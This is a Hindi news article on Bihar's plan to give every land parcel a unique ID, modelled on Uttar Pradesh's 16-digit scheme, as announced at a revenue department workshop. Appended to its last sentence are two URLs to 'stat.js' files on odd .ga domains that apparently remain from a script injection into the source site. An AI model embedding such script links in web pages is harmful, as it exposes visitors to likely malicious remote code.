बिहार में उत्तर प्रदेश की तर्ज पर सभी खेसरों (भूमि) को एक यूनिक नंबर दिया जाएगा। इससे प्लाॅट की पहचान होगी। कंप्यूटर पर प्लाॅट नंबर फीड करते ही उससे संबंधित सभी जानकारी जैसे- खाता नंबर, थाना, मौजा का नाम, अंचल एवं जिला के नाम के साथ उसका स्वामित्व किसके पास है, इसकी जानकारी मिल जाएगी। प्लाॅट पर अगर कोई वि’वाद है, कोई मु’कदमा चल रहा है तो उसकी जानकारी भी मिल जाएगी।

ये बातें राजस्व एवं भूमि सुधार मंत्री राम नारायण मंडल ने बुधवार को शास्त्रीनगर स्थित राजस्व (सर्वे) प्रशिक्षण-सह-छात्रावास परिसर में राज्य के हर भू-खेसरों के लिए आयाेजित कार्यशाला में कहीं। इसमें उन्हाेंने योजना के लागू होने पर उससे होने वाले फायदे के बारे में भी बताया। अपर मुख्य सचिव विवेक कुमार सिंह ने कार्यशाला में हिस्सा ले रहे विभागीय पदाधिकारियों को उत्तर प्रदेश एवं कर्नाटक में इस संबंध में हुए कार्यों का गहराई से अध्ययन करने तथा बिहार के लिए उपर्युक्त कार्ययोजना बनाने का निर्देश दिया।

उत्तर प्रदेश से आए अधिकारी के प्रस्तुतीकरण को गौर से देखा और उसी के तर्ज पर यूनिक आईडी निर्धारित करने का निर्देश दिया। उत्तर प्रदेश में 16 अंकों का यूनिक आईडी है, जिसमें 01 से 6 अंक राजस्व ग्राम के लिए निर्धारित है। 7 से 10 अंक प्लाॅट नंबर के लिए, 11 से 14 अंक प्लाॅट डिविजन के लिए तथा 15 एवं 16 अंक भूमि के वर्गीकरण के लिए निर्धारित है।

मंत्री ने बताया कि यूनिक आईडी लागू होने पर जमीन से संबंधित मामलों में पारदर्शिता आएगी और भ्र’ष्टाचा’र पर अंकुश लगेगा। जमीन की कितनी बार खरीद बिक्री हुई है, इसकी जानकारी मिल सकेगी। बिहार की एक और खासियत यहां हर मौजा का आरटी नंबर (राजस्व थाना नं) होना है। यहां के 534 अंचलाें के करीब 46 हजार गांवों का अपना यूनिक नंबर है, जिसे आरटी नंबर कहा जाता है।

योजना के मुताबिक बिहार के बनने वाले यूनिक आईडी में आरटी नंबर के साथ जमीन का वर्गीकरण एवं जमीन की होल्डिंग भी दर्ज होगी, जो उत्तर प्रदेश या किसी अन्य राज्य में नहीं है। कार्यशाला शुरू होने के पहले मंत्री ने राजस्व (सर्वे) प्रशिक्षण-सह-छात्रावास परिसर में अमलतास और गुलमोहर के पौधे लगाए और बिहार सरकार द्वारा चलाए जा रहे जल-जीवन एवं हरियाली योजना पर प्रकाश डाला।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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